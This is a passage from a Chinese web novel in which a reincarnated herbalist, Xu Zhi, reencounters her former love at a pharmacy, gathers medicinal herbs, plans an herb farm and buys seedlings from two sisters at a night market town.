许芷愣了一下也觉得正常,管事的肯定猜透了自己要借怀清堂名号的事情,故而来问问自己要干什么,这也正常。 要不然万一起了什么歪心思,借了他们的名号胡作非为,那不是败坏名声。 许芷想只要管事的问,她一定和盘托出,毕竟自己种药田最后还是要卖给怀清堂的。 要是能趁机将以后的合作也谈拢,那更是一举多得。 许芷被杜仲引到了后院,穿过制药间,穿过一扇小门。 突然豁然开朗,进入了另外一座宅院。 这一座宅院非同一般的豪华雅致,院子里小桥流水和假山交错,景观别致,看得出院子主人的审美。 院子里种了两棵流苏花树,虽已过了开花的时节,不过这高大的树冠和层叠的枝丫,许芷能想象得出开花时的盛况。 她站在树下,想到了什么,眼神瞬间流露出了伤感。 这是她再次醒来后,从未流露过的情绪。 脑海中的记忆急速飞过,她一直压抑的东西在此刻好像要冲破理智的牢笼。 杜仲前面走着,突然发觉身后没有了脚步声。 他顿足,转头看到了许芷站在树下,不知道在想什么。 “许姑娘也喜欢流苏花?” “喜欢。” 许芷下意识的回答。 “看来许姑娘去过江南啊,这可不是咱们北方的树。” 杜仲有些不可思议,这树刚运来的时候无一人识得。 还是听了东家的话,才知道这树叫流苏,名字挺美的。 开花的时候层层叠叠的花朵堆簇在枝丫,好像是给树盖了一层厚厚的积雪。 他还挺不理解的,若是要看大雪压枝的美景,这北方地界,到了冬天满是。 何必花了这么大功夫运来了这娇气的树。 许芷听了杜仲的话,瞬间思绪回神,眼神又恢复了平日里的清冷样。 “没去过,我瞎说的。” 语气非比寻常的淡漠,让杜仲有些摸不着头脑,不知道自己那句话说错,让许姑娘不高兴了。 不过杜仲最大的优点就是不胡思乱想,想不通的就直接不想。 他只干自己的事儿,把许芷带过去就行。 许芷被引到了一间茶室,进去后杜仲直接在外面关了门,让她在这等着。 她看到桌子上已经上过茶水,茶香味混着陈皮香丝丝点点的萦绕在她的鼻尖。 这味道太熟悉了,一个大胆的猜想浮现在脑海中。 此时,吱呀一声门开了。 许芷转身看去,她的呼吸一窒,脑子一片空白。 第42章 防风山药 “你胆子不小?说吧,借我怀清堂的名号要干什么?” 对面一席白衣的男人目光不善的盯着她,好像要把她看透。 又好像是在用这眼神压迫她。 许芷从未想过自己再见到宋清奕会被他呵斥,她想张嘴说点什么,可是整个人入定了一般。 见她不说话,宋清奕以为是吓到了对面的小姑娘。 方才,他正听着刘管事汇报他离开这几个月铺子里的情况。 听到杜仲说有个姑娘要租他们铺子的马车,一下他就想到了此人的意图。 在这里开铺子这么多年,她不是第一个借他们名头做事的人。 却是第一个光明正大告知他们的人。 宋清奕倒是要看看是谁这么胆大。 问过杜仲说只是个小姑娘,他就更好奇了。 见到这个姑娘的瞬间,他是有一点失望的。 还以为是个果敢的丫头,没想到见到他就怕的说不出话。 他也没了探究的心思,在商言商,他坐下给自己倒了杯茶。 顺道给许芷倒了一杯,伸出手示意她坐下。 他品了一口茶,无趣的问道:“你打算出多少租我的车,打算做什么,这些都要说清楚。” 许芷此时才好一些,她尽力压下心中的异样,面上镇静些,没有喝那杯茶。 冷淡的说道:“要多少银钱肯租自然是东家说了算,租车是为了去南庄寨子买药苗。” “只是为了买药苗,城里自有租赁马车的地方,何必来我这里?” 宋清奕没了耐心,语气更加烦躁,透露着不耐。 许芷突然什么都不想说了,只想离开这里,她的语气甚至比宋清奕更不耐。 “不租算了。” 说完掉头就走。 宋清奕顿住,只觉得遇到了一个骄纵的丫头。 他后悔极了,真不该有这好奇心,浪费自己的茶水和时间。 许芷快速出了铺子,后面杜仲还在叫她,不知道说了什么。 但她丝毫不想知道,迅速的没入人群中。 杜仲奇怪的望着许芷的背影,头一次见许芷如此。 正不知道怎么回事,身后东家宋清奕出现了。 “杜仲,你过来一下。” 杜仲摇摇头不再去想许芷的事情,跟着东家进了内间。 没想到东家叫自己进来问的就是许芷的事情。 他从头一次见许芷来卖草药到今日说了个全乎,不知道东家听这个干什么。 宋清奕虽然觉得这丫头不合眼缘,可是莫名的在她走的一瞬,在她身上看到了故人的影子。 那一瞬间,他的心提起又落下,最后还是跟了出来,却已经没有了许芷的身影。 他只好跟杜仲了解。 听起来倒没什么特殊的,就是个精通药理的姑娘。 他叹了口气,不明白自己到底在想什么。 杜仲离开后,他自己坐在内间,看着手上那根磨掉了色的五彩绳,心绪复杂。 “怀夕,对不起,你离开了太久,久到我竟然妄想从别人的身上找你的影子。” 没错,现在许芷的体内并不是真正的许芷,而是苏怀夕。 人真的很奇怪,好多记忆好似早就忘却。 可只要在某个瞬间,见到了旧人,那些记忆就会像倾泻而下的暴雨,毫无防备的将人浇个透彻。 许芷此时脑海中全是她和宋清奕的过往。 她和宋清奕青梅竹马长大,两家都是医药世家,却并未因此发展成仇敌。 反而来往密切,甚是交好。 她自小就是个淡然的性子,只对草药感兴趣,以至于家里的兄弟姐妹跟她关系都一般。 只有宋清奕大她两岁,自觉端起哥哥的架子,对她照顾有加。 一些情感无需多么热烈的经过,就这么自然而然的涌现了。 两人互通心意,只是还未曾跟家中说明。 若不是那年...... “下坪村的,已经到了,快下车吧。” 许芷的思绪被赶车的打断,她迅速下了车往家回。 到了山坳,她又恢复了平日的样子。 看到孙女回来了,邓老太笑着问许芷租来车了吗。 许芷摇摇头,敷衍的说道:“没有很合适的。” 看到许芷的样子,邓老太和王茹娇察觉到了些不对劲儿。 但她们只当许芷是没租到车不高兴。 王茹娇凑上去安慰许芷:“小芷没事,我回家问问我哥,他应当知道租什么马车靠谱些。” 许芷嗯了声,拿上背篓要上山去。 邓老太看到惊讶出声:“怎么这个时候你要上山去,已经下午了,就别去了。” “无碍,我尽快下山。” 许芷此时需要找个出口,她不知道该怎么做,只想上山一个人待着。 话音落下,她已经走出了一段距离。 见拦不住她,邓老太只得扯着嗓子叮嘱她早点下山。 张立柱也听到了,扭头去看许芷的背影,手里的青砖差点掉了。 还是弟弟张铁牛接住了。 “哥,专心点。” 张立柱有些尴尬的笑了笑,便专注在砌砖上。 许芷上了山莽着往上走,并不看方向。 如此游离的她此刻的脑子里却是意外的空白,好像要想的在回来的路上已经过一遍了。 所以现在什么都想不到。 不知道过了多久,许芷停了下来。 这里有些熟悉,许芷望了望,才发现这是上次她摔倒的地方。 她走到人参的位置,拿出小铲子,带着土将人参挖了出来。 现在这个季节差不多可以移栽了,既然见到了就别错过。 挖出了人参后,她又看了看附近有没有什么其他的草药,一并带回去。 果然给她看到了山药和防风。 山药大家作为食物吃得多,但它也是一味中药,有着健脾、补肺、固肾、益精的作用。 这个时节吃山药正好,不管是煲汤还是清炒都不错。 防风,则有祛风解表、胜湿止痛、去痉的作用。 不过山药不多,一枝下面五根,去卖有些不值,不如自己做了吃。 防风倒是不少,她满满当当采了一背篓。 最后还往乾坤屋里移了点,要不然根本装不下。 有了这些许芷打算下山,不能再在山上待了,已经不早了。 再晚些,天黑下山不安全。 她这次进的地方又深,还是要早早下山去。 第43章 发现蓝实 到家的时候,邓老太看到她回来,瞬间松了口气。 但还是责怪的说她:“你呀,就那么爱上这山,以后弄了药田不要再去了,你再晚回来一会儿我心都要跳出来。” 许芷放下了背篓,拿出了里面的山药,避开话题说道:“祖母,今晚有山药吃。” 说完为了少听些唠叨直接拿着山药去了河边洗。 邓老太看出了孙女的意图,叹了口气不再管,做自己的饭。 许芷到河边,左右看看四下无人。 她将人参拿了出来,弄好了水土先养在了自己那乾坤屋里。 然后开始处理山药,将泥土都洗去后,隔着布将山药的皮削了去。 这山药的汁液沾上容易痒,故而处理的时候一定要小心,最好是像许芷这样隔着布好些。 弄好后,许芷拿着山药回去交给了祖母。 邓老太一看这山药不少,打算清炒一个,再弄个山药煎饼。 将山药全部斜着切薄片,留出一半炒。 剩下的一半切成细丝,撒上面粉和调料,搅匀之后煎成了一个个手掌大小的煎饼。 因为舍得放油煎,香味一时飘在山坳中。 干活的人闻见了,都有些心猿意马。 煎好的头一锅,邓老太让许芷去给工人分发一下。 大家也不客气,一人拿了一个吃过继续干。 赶在落日之前,大家下了工。 走的时候都夸邓老太做饭手艺好。 晚上本来是只有许芷、小舅舅和祖母三人吃饭。 但是因为盖房子的缘故,他们会留张家两兄弟和王三叔两口子一起吃。 刚开始他们四个人还不好意思,后面邀请的多了,直接三家人合伙。 各自带上家里有的食材,一起做饭吃饭,热闹也高兴。 王茹娇也会时不时的留下一起吃饭。 今晚她就留下了,因为闻到了邓老太做的山药饼的香气,肚里的馋虫让她走不动道。 吃着饭,王茹娇忍不住赞道:“这山药煎饼太好吃了,真香。” 邓老太慈祥一笑:“爱吃就多吃点。” 说着话头转到了许芷的身上,“小芷,你下次要是去山上再找找有没有山药。” 许芷面无表情的嗯了一声,没多说话。 吃饭的人多少都感受到了许芷今天的不对劲儿。 王茹娇哄着许芷说:“小芷,别为马车的事情发愁了,我今晚回去就问我哥。” 许芷扯出一抹笑容,说自己没事。 但明眼人看得出来这就是有事。 张立柱看着许芷沉默寡言的样子,问王茹娇马车是怎么回事。 王茹娇想着也不是什么不能说的事情,便将许芷今日去城里租马车,要去南庄寨子买草药的事情说了出来。 张立柱听到这个想了想道:“我祖母家那边有个表哥在城里的驿站,改日我帮你问问,一定给你租到一辆合适的马车。” 看到大家因为自己情绪低落,想办法解决的样子,许芷心中一暖。 尽管自己并不是因为这个难受,可她不想辜负大家的好意。 就接受了张立柱所说。 许芷还想着起码到下次集的时候,张立柱会去城里帮自己问。 没想到第二日他就出发去了城里问自己表哥。 许芷没有看到他,一问张铁牛才知道此事。 她其实想说也不必这么急。 不是集的日子,没有牛车,除了自己家有牛有马,可以骑着去,没的只能走路过去,一来一回起码要三四个时辰。 如此又累又远的。 而一起做工的人听到这事儿,有人打趣的说道: “这柱子对许丫头的事情可真上心。” “可不是,说去就去,今日的工钱都不要了。” 大家哄笑一团,邓耧子听到了皱着眉头说道:“柱子本就是个热心肠,又都是一个村的,你们别瞎揣测。” 本来那人也就是开开玩笑,听到邓耧子这么说,赶紧改了说辞,强调自己就是说玩笑话。 邓耧子闻言也不好太过,也说了句玩笑话,将话题岔开了。 他看着正在菜地里跟娘一起干活的许芷,心想这丫头如今瞧着是像个大姑娘。 只是他总觉得还小呢,听到工友们那话,觉得不舒服。 张铁牛做着工偷偷地看了眼邓耧子,又在邓耧子发现之前,赶紧挪回了视线。 如果他没料错,他哥应当是对许芷有了想法,可是看耧子哥这态度,有难度。 许芷其实也听到了,她本身并没有往这方面想。 但是他们的玩笑话,给自己提了醒。 许芷觉得有必要跟张立柱保持些距离,起码不叫人误会了去。 中午吃过饭,邓耧子觉得不放心,将外甥女叫到了河边叮嘱。 只是叫的时候洒脱,可是人过来了,邓耧子又不知道该如何说。 自己当舅舅的,也不是当姑母姨母的,说出来好像有些奇怪。 许芷看着舅舅纠结为难的样子,猜测应当是为了工友的玩笑话,她直接的开口道: “舅舅不必忧心,我现在并未有婚嫁的打算,以后我会注意跟他们的距离,不叫人误会了去。” 听到外甥女如此直白,他呵呵讪笑两声,“是该如此,你心中有数便可。” “那舅舅还有事吗?若是无事,我便上山去了。” 许芷还惦记着上山找找防风和山药。 邓耧子摇摇头,让许芷上山去了。 许芷今日已经好多了,今早睡醒的时候,想到昨日跟宋清奕的见面,如梦如幻一般。 她昨晚在睡前已经想通了,日子不能回头过,都是向前看的。 不管从前如何,现在她是许芷,不是苏怀夕。 她有自己要做的事情,不能囿困其中。 许芷在山上找来找去,竟没有再见到防风。 山药也有,也是单独几株,加起来有个十几根,她都小心地挖了出来。 除此之外,她找到了一片蓝实。 蓝实的根部可入药,有清热解毒、凉血利咽之效。 这片蓝实的叶已经开始枯萎,根部就能采收。 她将蓝实的叶距离根部一指的地方割断,这样能保持蓝实根的完整性。 然后将蓝实根完整的挖出,若有断裂则会影响药效。 所以挖的时候许芷屏气凝神,专注其中。 不知不觉间,一下午的时间就过去了。 等她直起酸痛的腰,才发觉太阳已经快落山了。 剩下的她打算明天再挖,今天已经不早了,得赶紧下山去。 第44章 辛夷半夏 第二日,张立柱脸带喜色的进了山坳。 许芷跟祖母正在做早饭。 看到他来,许芷并未动,只是继续坐在灶火前添柴火。 邓老太客气的招呼:“柱子,今天来这么早呢,咋没跟弟弟一起来?” “铁牛吃饭慢。”张立柱解释道:“我来是想跟小芷说下租马车的事情。” 话音落下,他有些期待的看向许芷的方向。 许芷平淡的转身,并未看他,疏离的说道:“张叔,你说。” “柱子,你跟小指儿差着辈儿呢,以后叫许丫头的好。” 邓老太跟着来了句,虽然是笑着说的,但是语气里却带着划界限的意思。 张立柱愣了一下,随即扯起一抹僵硬的笑容,说道:“婶子说的是,小芷......许丫头长大了,我这个当叔叔的应该避嫌。” 邓老太嗯了声,又恢复了平日里对他们那副和善的样子。 他拿了个矮凳坐在了一边,跟许芷之间隔了邓老太。 开口说道:“昨日我去问了表哥,他给我推荐了一辆不错的马车,就是贵了些,租一日一百文。” 怕许芷不满意,他又补充说: “因着你是去买药苗,特意让他找了个阔气的马车,装的下不说,也撑得起面子。” 他不知道做生意应该是什么样,但也明白人靠衣装马靠鞍。 一辆不错的马车,让那些个商户看到,不至于看轻了去,应当对生意来往好些。 许芷客气的笑着接受了张立柱的好意,怎么说也是人家昨日跑了一天的结果,就算是保持距离,也不能辜负人家。 看到许芷点了头,张立柱瞬间轻松了些。 “那下次集,我带你去找我表哥用车,到时候我陪你去南庄,你一个姑娘家一个人去不好。” “我跟舅舅去就行。” 许芷冷淡的说道。 张立柱讪笑,有些慌乱的说道:“应当的,是我忘了还有耧子哥。” 邓老太看不下去,客气的说了句:“婶子替小芷谢谢你的好意,柱子要一起用些饭不?” 刚刚他才说了是自己吃得快过来的,当然不可能说吃饭。 他摇摇头拒绝,说自己先去忙。 说完,他便一个人先去盖房。 邓耧子到的时候,许芷将马车的事情跟舅舅说了,也表达了想让舅舅跟自己同去的意愿。 他自然是答应,跟许芷说好,下一次集一起早早进城。 马车租到手,直接去南庄寨子,尽量早去早回。 但再怎么样,来回百里的路程,他们日夜兼程也要两日才可。 许芷这两日看了看这二十六亩地的情况,思索了下都种哪些药材,怎么分配。 她打算种十二亩一年生的药材,第二年就能卖草药,见到回头利。 而剩下的十四亩地种些更珍贵的三四年生的草药。 虽然一年生的药材见钱快,可毕竟都是些便宜的药材。 虽然有些药材三四年才会种植成,但是一旦开始成药材,每一年都能收获。 长远来看,还是这种药材更赚钱的。 她想过之后,打算一年生的药苗就买半夏、红花和蓝实。 这些药铺里常用,需要多些。 其他的那十四亩打算种金银花、连翘、辛夷、柴胡和甘草。 这几种药材,除了辛夷不能再过冷的地方种植,其他的四种都能适应中原地区的气候。 所以许芷打算辛夷少种些试试,就种一亩。 确定了种什么,许芷将这些都记了下来。 同时将这些药苗种植要注意的事情,以及该怎么呵护这些药苗生长的方法都写了下来。 打算提前给王茹娇他们看一看,让他们学一学。 到时候种植的时候,才不至于手忙脚乱。 当然种植的时候她也会亲手示范,让他们学过再去种。 一年之后收上来药苗卖过,再给他们这一年照料草药的工钱。 只是没想到自己拿着一式四份的草药种植事项给他们三人的时候,除了王茹娇还淡定些。 王三叔和张立柱都尴尬的笑了笑说自己不识字。 这个许芷倒是没考虑到,她确实没见到村子里有学堂。 村里的孩子大多都是在地里帮忙,或者年纪小的下河摸虾上山捉兔,甚少见谁家在外上学的。 “小芷,没想到你能写一手这么漂亮的字。” 王茹娇感叹道。 她虽没有上过学堂,但是从小有哥哥教导,倒没有多少才情,可起码识字写字是没问题的。 只是她不爱练字总偷懒,那一手字拿不出手。 而许芷的字娟秀内敛,看起来赏心悦目,让她由衷的赞叹。 许芷心想,那这么说,自己应当是不识字的。 一个孤女,怎么可能送学堂。 不过她已然破绽百出了,顾不得这些。 她随口回道:“这半年闲来无事练的。” 王茹娇听到并不怀疑,点点头跟其他四人念写了什么。 念过之后,许芷跟他们说道:“种药材不是种粮食,其中的关窍有相通,但不尽相同。 等我将药苗买回,我自会手把手教你们如何种植,等到药材丰收,卖了钱之后,我也会付你们工钱。” 说完,怕大家担心做不好她又说: “你们不必怕做不好而畏手畏脚,不管这一年你们做好做坏,我都会付你们工钱。 另外,若是有什么不懂的,或者草药出了什么意外情况,一定要第一时间告知我,不要怕,我都会解决的。 只要草药照料的好,你们闲来无事是种粮食还是做工都行,总之我给你们的工钱照发不误。” 听到许芷这样贴心又安定的话语,让他们越发觉得租地给许芷这个决定是多么的正确。 王三婶满脸憧憬道:“许丫头,那我们就指靠着你了。” 许芷微笑着点了头,“大家放心,我一定不会让大家亏了的,带着你们都过上好日子。” 这话振奋了几人的心,各个都好像已经看到了吃香喝辣的日子在招手。 几人回去的时候,许芷特地送了送。 王茹娇走得很慢,像是有意要跟他们几人分开。 许芷看透之后,特意在山坳口送走了那几人,转头问她:“娇娇,你有话跟我说?” 第45章 大肉包子 王茹娇嗯一声,直接说:“小芷,你租我的地本就比他们几人的租金高一倍,那工钱就不必给我。” “那不行,这一码归一码。” 许芷想都不想拒绝了。 可是王茹娇很坚持,“大家都是一起跟着你的,应当是一样的待遇。 况且就算是我日日投身于药田,我也不缺粮食吃,有这药田我还有了事做,不用整天无所事事的在家中待着。 总之要么我跟他们租金工钱一样,要么你就别给工钱了。你若是不答应,我就不租你了。” 许芷一听只得答应。 “那我就不给你工钱了,日后若是觉得亏也不给补了。” 她故意这般说笑。 王茹娇一听笑的开怀,“好啊你,小芷,我在你心中就是这般人?” “自然不是。” 许芷无心逗她,便不再继续那玩笑话。 说住,王茹娇回了家。 到了集那日,许芷和舅舅早早的出发。 他们二人跟张立柱约好村口见面,到的时候,张立柱早就在等着了。 邓耧子走上前跟张立柱聊着,把许芷落在了身后。 张立柱有心想等等许芷,但是都被邓耧子给拉着走了。 很快到了官道边,等了一刻,牛车便到了。 上车的时候,没等许芷拿出铜板付钱。 那两人争着抢着都要付钱,许芷一看悻悻的收回手,不参与这谦让的场面。 最终这争着付钱的场面以邓耧子成功付钱结账。 其实是他们俩争的过久,耽误了牛车出发。 赶车的人随手拿了一个人付的铜板,正好拿到了邓耧子的。 到了城里,张立柱带着两人去驿站。 去驿站的路正好经过怀清堂,许芷最近也弄了些草药,所以顺道带着去怀清堂卖掉。 进去时她尽量让自己平静如常。 虽然她是想通了,可有些情绪是不受控的。 她还没完全的做好见到宋清奕的准备。 许芷只盼着他这个东家忙一点,别出现在柜台前。 走进怀清堂,她环视一圈没见到人,心瞬间放下。 杜仲笑着迎上来。 “许姑娘又来卖草药啊,这次带了什么来?” 因为这次有舅舅和张立柱,草药都是他们两个在拿。 许芷让他们二人把草药放在地上,让杜仲检查看看。 看过之后,杜仲说了价,许芷同意后,他让他们等在原地,他去支钱。 许芷拿到这次的钱,跟杜仲别过便出了怀清堂的门。 只是三人没走多久,杜仲的声音在身后响起。 “许姑娘,许姑娘留步。” 许芷转身问道:“可是有事?” 杜仲眉眼间有着隐隐的兴奋,继续道:“我们东家说了,马车可以租给你,租金许姑娘看着给就行。” 原本杜仲以为许芷听到这个消息,该高兴起来。 可是许芷的反应平平,甚至说有些不悦。 “替我谢过你们东家,但我已经租过马车了。” “可是——” 杜仲想说别的马车都没有怀清堂的马车好使,只是一张口就被许芷拦住。 “我说了不用。” 许芷的神情可以称的上是冷漠。 杜仲有一瞬间的愣神,可很快调整过来,依旧言笑晏晏的看着许芷道: “知道了许姑娘,日后若是需要再联系我们,那我就不打扰你办事,告辞。” 许芷嗯了声,转身走出不远又停下,叫住杜仲,不好意思的说道:“对不住,我不是冲你。” 杜仲笑的灿烂,“我知道,快去忙吧许姑娘。” 许芷回以笑容,转身继续往驿站去。 到了驿站,张立柱跟门前的小厮说过,直接带着他们两人进去找表哥。 见过他表哥之后,立刻带着他们去看马车。 许芷看过觉得不错,当即痛快的付了钱。 她先付了三日的钱,若是不够回来补,若是提前回来,多出的钱就让张立柱的表哥收下拿去吃酒。 算是感谢人家帮忙,以后多的是要租马车的时候。 看到许芷这么会办事,张立柱的表哥也保证以后许芷再来租车,他一定给许芷优惠。 租好之后,三人准备回去。 邓耧子和张立柱坐在外面赶马车,许芷坐在车内。 因为南庄寨子和下坪村是一个方向,他们打算到村口给张立柱放下,只余他们舅甥俩去卖药苗。 路过包子铺许芷叫停。 “舅舅等等,我下车买点包子,咱们路上吃。” 邓老太倒是也给他们烙了饼子,路上当干粮。 那饼子毕竟是凉的,硬一点。 这会儿看到了热乎乎的肉包,有这个条件,就买点吃呗。 邓耧子一听赶紧勒马。 “小芷,别下来了,舅舅买就行。” 说着他跳下车,买了一笼十二个大肉包。 当即趁热他三两口吃了一个,又给了张立柱五个,让他兄弟俩一人吃一个,剩下三个带回去给他娘。 其余六个都给了许芷,让她拿着。 “小芷,你饿了就吃。” 许芷嗯了一声,接住包子放在了包袱下面,这样能凉的慢些。 不足一个时辰就到了下坪村,张立柱下车之后,舅甥俩继续出发。 一路上许芷不太说话,邓耧子也专心赶路,故而马车跑的飞快。 竟在天黑之前赶到了南庄寨子。 按照许芷的计算,他们应当是天黑之后才能赶到。 许芷不急于今天就去跟药苗贩子接触,让舅舅找了家客栈,两人先住下。 许芷要了两间房,邓耧子一听怎么都不愿意多费一间屋子的钱,执意要住在马车上。 “舅舅,咱不是没这个钱,何必挤在马车上也不舒服。” “傻丫头,出门在外该省的省。” 邓耧子固执己见,就是不让许芷开两间房。 许芷无奈,只好吓舅舅,说道:“小舅舅,我一个女子,单独住一间容易被人盯上,你若是在我隔壁那间,有什么情况能立刻过来保护我。” 邓耧子一听这个,立刻答应不再拒绝。 开好房间,许芷叫人送了饭菜进来。 邓耧子看着精致的摆盘和色香俱佳的饭菜,没忍住吞了口水。 “乖乖,这得花多少钱啊?” “吃饱才好办事,舅舅。” 许芷夹了块糖醋排骨放到了舅舅的碗里。 邓耧子也不客气了,钱都花了,那就好好享受,别扫兴就行。 吃饱喝足之后,邓耧子赶了一天的车,早就累了,回房间洗洗睡下。 还叮嘱许芷早些睡,不要一个人出去。 当着面许芷满口答应,却转头就出了客栈 第46章 清燥救肺 南庄寨子有夜肆,许芷寻思可以上街逛逛,领略一下夜肆的热闹风光。 同时,她还能打听一下药苗贩子的情况。 来之前,她跟杜仲打听过了。 南庄寨子一共两家药苗大商,一个郭家,一个是谢家。 同时这两家里,最出名的是郭家。 不是谢家的药苗不好,而是因为郭家主卖药苗,辅以制药。 而谢家主制药,辅以药苗。 怀清堂作为药堂主要制好的草药,跟谢家合作的多。 若许芷要买药苗,杜仲还是推荐她去郭家看看。 许芷想的也是这家,不过她还听说南庄寨子这边有许多的药苗小贩。 郭家名声大,药苗的品质若是差肯定也做不到这么盛。 只是这也意味着药苗的价格定然不便宜。 她想碰碰运气,看看能不能找到一家药苗品质好,又便宜的小贩。 若是可以谁不想买些便宜又好的药苗。 刚开始做生意,还是要省些。 她先是在客栈待了一会儿,正好有个郭家的小厮在吃酒,她打听了一耳朵药材的价格。 那小厮喝的有些醉醺醺的,许芷问什么,他都知无不言。 了解了药苗的价格,许芷打算出去逛。 许芷走出了客栈,街道两旁灯火辉煌,人群熙攘,真是好热闹! 街上香气四溢的小吃和琳琅满目的物品,让许芷应接不暇。 她饶有兴味的慢慢逛着,在路过一个首饰摊位的时候,一眼看到了一把精致的黑色短刀。 刀柄上一朵白花点缀,柄顶银色浪花纹装饰,除此之外只有刀鞘和刀柄连接处有银色浪花纹,再无其他。 看起来冷峻清雅,精致小巧。 许芷问过摊主可以看,伸手拿起短刀,打开刀鞘,将里面的刀身完整的拿出查看。 冷冽的刀身倒映着夜肆的绚烂灯火,有一种别致的美感。 许芷意动,直接问摊主多少钱。 摊主笑呵呵的回道:“姑娘,你可真是有眼光,这把短刀好多人来看呢,就是贵了些一共一两银。” 许芷闻言二话没说直接付了钱,拿下这把短刀。 她还在路过一家香摊的时候,看到一款挂在腰间的窄长侧包。 试了试,装短刀正合适。 她要了个灰色的,跟黑色的短刀搭配,挂在腰间不那么引人注意。 得了喜欢的东西,许芷逛街的步伐都轻盈了些。 很快她就逛到了头,在夜肆尽头的桥下她看到了一个不显眼的摊子。 之所以会注意到它,是因为摊主正在跟人理论。 她本来走过去只是想听一耳朵,却发现这个小摊买的是自制的药膏。 这一路走过来,有买草药和安神香囊的,卖自制药膏的倒是第一个见。 摊主是两个女子,青色衣裙的女子正跟一男子据理力争,而粉色衣裙的女子,含着泪在收拾被人掀翻在地的药膏。 许芷听了一耳朵,才知对面的男子是旁边卖菜的,看到两位小娘子出来摆摊,心生不轨调戏两句。 两位小娘子不曾理会他,却让他恼羞成怒,认为她们二人看不起自己,便掀了她们的摊。 而围观的人却不帮着苦主,反而指责两位小娘子不该抛头露面的出来摆摊。 许芷听不下去,夜肆是有官府的人看管的,只是需要人去叫。 她将人叫了过来,而那男子见到官府的人立刻泄了气,不再耀武扬威。 而本就是那男人主动挑事,官兵一听直接将男人带走。 被解围的两位小娘子,对叫来官兵的许芷连连感谢。 刚刚两人被针对也是昏了头,竟想不得去叫官兵来。 许芷帮着两人将摊子重新支了起来。 问她们这买的都有些什么药膏。 青衣小娘子回道:“姑娘,这是我们自制的归元膏、玉灵膏和清燥救肺膏。” 许芷听到最后一种药膏眼中闪过惊讶之色,她指着清燥救肺膏问:“清燥救肺散我倒是听过,这做成膏的我是头一次见。” 那小娘子拿起一罐让她看,继续解释道:“清燥救肺散也可,就是需要熬制,不如膏药方便,早晚各一勺温水化开就能喝。” 许芷闻言点头表示赞同,接住之后打开罐塞看去,膏体成色不错。 因为清燥救肺散中有一味甘草,一般人受不了这个味道。 而她闻过并未有那种强烈的味道,膏体整体散发着淡淡的甜气。 她好奇的问:“你熬制这个应当加了阿胶吧,除此之外还有什么?” “姑娘好聪明,没错就是加了阿胶,还多添了一味川贝,用蜂蜜和蜜饯熬成酱调味。”小娘子也不藏着掖着,知无不言。 许芷觉得不错,也拿了两罐。 想着秋冬,容易上火,冷风一刮也容易咳嗽,尤其是年纪大的人。 买两罐回去,到时候让祖母天天喝着,就当是喝茶水了。 买完许芷多嘴劝了一句:“你们姐妹二人还是白天出来摆摊的好,起码光天化日之下,有些小人不敢妄为。” 青衣小娘子一听叹了口气,无奈道:“我们倒也想白日来,可是白日在家有药苗需要照理,还要制了这些膏药来卖,根本没有时间,只能晚上出来。” “你们也有药苗?” 许芷挑眉问道。 两位小娘子的脸色更是忧愁,青衣小娘子开口道: “都知南庄寨子的药苗,可是来人只认谢郭两家,我跟妹妹种的实在是无人问津。 无奈之下,我们只能自己将培的苗种下,长出来之后卖些草药,或者制成这膏药来卖。 这一批药苗若是还卖不出,我们明年便不弄了,老实种些粮度日。” 许芷一听直接表明自己来这里也是为药苗而来,若是她们不介意可以带着她去看看。 若是药苗是好的,她会买。 两位小娘子一听惊喜的看着许芷,“此话当真。” “自然当真,只是药苗要好,若是很差的,我也收不得。” 许芷坦然地说道。 青衣小娘子一听,并不灰心,“那是自然的,姑娘等下,容我们姐妹俩收拾一下摊位,便带你回去看药苗。” 许芷帮着两人把摊子收了。 回去的路上知道两位小娘子姓冯,姐姐叫冯其时,妹妹叫冯时雨。 冯家距离这边不算近,三个人走了半个时辰才到。 一进屋,许芷先闻到了浓重的药味。 姐姐将摆摊的东西放好,拿着根蜡烛带着许芷去后面培苗的地方。 这姐妹俩培的基本都是一年生的草药,正好有许芷要的半夏、红花和蓝实。 除此之外,她们还培了柴胡、甘草和连翘。 第47章 乌梅山楂 许芷看了看,两姐妹培育的很用心,都是不错的好苗子。 看到许芷这么细致的看苗,生怕自己的苗不够好。 冯其时不好意思的说道:“就我们姐妹俩,比不得郭家和谢家,药苗量不算多。” 这时许芷已经看过了所有种类的药苗,都是好苗子,都能买。 许芷直起身,看着冯其时问道:“这药苗我都收的话价钱多少?” 冯其时听到这话,还以为是自己听错了,她不敢相信的看着许芷,迟迟没有回话。 “怎么?不卖我?” 许芷等了半天不见她说话,以为对方觉得她买不了多少。 她大气的说道:“你不用担心钱,我可以先给一半的定金,明日来拉苗。” 还是妹妹冯时雨先反应过来,她连忙说:“卖,我们卖的。” 说完手肘捅了捅傻掉的姐姐,“姐,还愣着干啥,许姑娘说要咱们的药苗,你赶紧给人算算多少钱。” 冯其时这才回过神,她喜极而泣道:“我头一次遇到你这样的大客户,一时惊喜昏了头。” 她激动地转身对妹妹说:“你快给许姑娘带到屋里,给她倒杯茶坐着歇歇脚,我现在就算。” 三人回到了屋里,围坐在桌前。 冯其时拿了个算盘和笔墨,跟许芷说了各个药苗的价格。 许芷听了点点头,这要比她想象中的价格低了三成。 估计去郭家买就不是这个价格了。 只说让她算就行。 冯时雨烧了水过来,给每个人倒了一杯乌梅山楂茶。 “许姑娘你尝尝,这是我们姐妹俩自己做的茶饮。” 许芷浅啜一口,酸甜可口,令人口齿生津。 “你们俩很会做茶饮。”她夸赞道。 那清燥救肺膏和这乌梅山楂膏都不错。 冯时雨腼腆的笑着说道:“我们姐妹俩不爱喝白水,总想着喝些有滋味的,就琢磨了些好喝的。” 说着她想到了什么,去屋子里拿了一盘自己做的梅干。 让许芷吃了打发时间。 许芷不喜酸,本不打算尝,但是架不住冯时雨热情的小嘴劝说。 她象征性的拿起一小块,丢进嘴里,想象中的酸味并未来袭。 先进入舌间的是甜味,这甜里又裹着一点酸,但很快又被那甜味中和。 跟冰糖葫芦不是一种酸甜感,冰糖葫芦的酸甜感有一些割裂,而这个梅干混合的正好。 这姐妹俩真是会做零嘴。 许芷心想有她俩这想法和手艺,培苗还真是有些屈才。 两刻过后,冯其时已经算清楚了。 半夏药苗十株一个铜板,共五千株,五百个铜板。 红花药苗三株一个铜板,共一万五千株,五两银子。 蓝实药苗一株十个铜板,共五千株,五十两银子。 连翘药苗一株一个铜板,共两千株,二两银子。 柴胡药苗一株十个铜板,共三千株,三十两银子。 甘草药苗一株五个铜板,共四千株,二十两银子。 这些一共一百零七两银子五百铜板。 许芷听了二话没说放了张五十两的银票做定金。 “这些药苗我定下了,明日午时左右,我会来取。” 